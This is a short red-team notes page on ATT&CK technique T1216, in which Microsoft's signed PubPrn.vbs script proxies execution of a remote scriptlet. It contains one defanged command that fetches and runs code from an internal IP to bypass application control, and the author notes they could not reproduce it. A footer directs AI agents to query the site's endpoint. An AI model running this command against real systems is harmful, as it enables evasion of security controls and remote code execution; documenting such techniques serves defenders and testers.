# T1216: Signed Script Proxy Execution

Adversaries may use the trusted PubPrn script to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application control solutions that do not account for use of these scripts.

PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and can be used to proxy execution from a remote site. An example commands is

**`cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png`**

**Example**

**Could not Replicate, I wasn't receiving errors and could find the payload I was pointing at if any suggestions**

![](/files/-MRkZozfvzZ8uab76P1w)

References:

{% embed url="<https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/>" %}

{% embed url="<https://github.com/enigma0x3/windows-operating-system-archaeology/blob/master/Evasion/pubprn_injection.txt>" %}

{% embed url="<https://lolbas-project.github.io/lolbas/Scripts/Pubprn/#execute>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1216-signed-script-proxy-execution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
